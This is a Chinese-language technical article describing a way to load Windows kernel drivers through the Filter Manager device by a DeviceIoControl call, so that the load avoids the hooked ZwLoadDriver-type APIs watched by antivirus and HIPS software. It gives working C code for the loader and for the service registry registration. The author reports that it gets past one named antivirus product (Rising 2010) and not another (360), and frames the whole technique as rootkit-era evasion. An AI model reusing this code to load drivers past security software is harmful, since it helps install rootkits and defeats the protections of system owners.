一種另類驅動加載辦法
華中科技大學
在這個病毒=Rootkit的時代,驅動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅動也是嚴加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅動無法加載,不過,也有一些繞過的辦法。
微軟為windows專門設計了一套微過濾驅動(mini filters),這套驅動是專用于管理文件過濾驅動的加載和運行,很多的虛擬磁盤驅動,還有還原軟件常用的磁盤過濾驅動,都是使用微過濾驅動進行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴,所以可以從這里下手去加載。
不同于其他的驅動,Minifilter由一個獨立的manager管理而不僅僅是SCM(服務管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關于微處理管理器和微過濾驅動的內容,可以到微軟官網查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。
加載驅動的主要代碼比較簡單
int main( int argc , char *argv[] )
{
HANDLE hDevice;
LOAD service_to_load;
BOOL err;
DWORD dwRet=0;
WCHAR drvPath[512];
memset( drvPath , 0 , 512 );
GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅動放在當前目錄下進行加載
lstrcatW( drvPath , L"\\load.sys" );//驅動名稱必須為load.sys
make_reg( L"load" , drvPath );
hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進行驅動的加載
if( hDevice == INVALID_HANDLE_VALUE )
{
printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理
goto __end;
}
wcscpy( service_to_load.ServiceName , L"load");
service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);
err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼
if( !err )
{
printf("sorry\n");
goto __end;
}
printf(":)\n");
__end:
CloseHandle( hDevice );
return 0;
}
這段代碼和SCM加載驅動的代碼基本一致,只不過換成了Fltmgr進行加載。
驅動還需要在注冊表中進行服務的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。
VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )
{
DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內核驅動
DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務
HKEY hKey;
WCHAR szMain[512] = {0};
WCHAR szImgPath[512] = {0};
wchar_t szRegPath[512]={0};
wsprintfW( szMain,
L"%s%s",
L"SYSTEM\\CurrentControlSet\\Services\\",
szDriverName );//在service鍵值下注冊
wsprintfW( szImgPath,
L"%s%s",
L"\\??\\",
szDriverPath);
if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )
{
RegSetValueExW( hKey,
L"DisplayName",
0,
REG_SZ,
(LPBYTE)szDriverName,
(DWORD)lstrlenW(szDriverName)*2);
RegSetValueExW( hKey,
L"ImagePath",
0,
REG_EXPAND_SZ,
(LPBYTE)szImgPath,
(DWORD)lstrlenW(szImgPath)*2);
RegSetValueExW( hKey,
L"Type",
0,
REG_DWORD,
(LPBYTE)&dwType,
(DWORD)sizeof(dwType) );
RegSetValueExW( hKey,
L"Start",
0,
REG_DWORD,
(LPBYTE)&dwStart,
(DWORD)sizeof(dwStart) );
}
}
這種方法經過測試,可以過瑞星2010最新版,360過不了,其他的待測,網吧的驅動防火墻不知能不能過,也許可以嘗試下……
如果對驅動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。